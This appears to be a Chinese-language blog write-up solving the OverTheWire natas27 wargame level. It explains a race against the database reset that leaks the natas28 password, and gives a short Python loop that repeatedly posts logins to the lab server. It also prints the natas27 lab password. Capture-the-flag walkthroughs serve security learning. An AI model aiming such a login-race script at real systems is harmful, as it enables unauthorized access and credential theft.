natas27题解（终章）

可以输入账号密码

先尝试用natas28登录，提示密码错误，也就是说，这个账号是写在数据库里的，并且密码就是我们想要的
// database gets cleared every 5 min

每五分钟重置数据库，如果一直提交natas28密码为空（或者随便，但是要写在post的参数里），恰好等到重置那个的时刻，库里就会有两个natas，在调用 checkCredentials函数的时候密码就带出来了，之后奇迹就会发生，然后natas征程结束......   接下来博主再去挑战   Semtex，有兴趣的可以留言给我哦

这段python脚本帮我们实现简单的重复提交工作

import requests
data={'username':'natas28','password':''}
auth=requests.auth.HTTPBasicAuth('natas27','55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ')
while 1:
    re=requests.post("http://natas27.natas.labs.overthewire.org",auth=auth,data=data)
    if 'Wrong password' not in re.text:
        print(re.text)
        break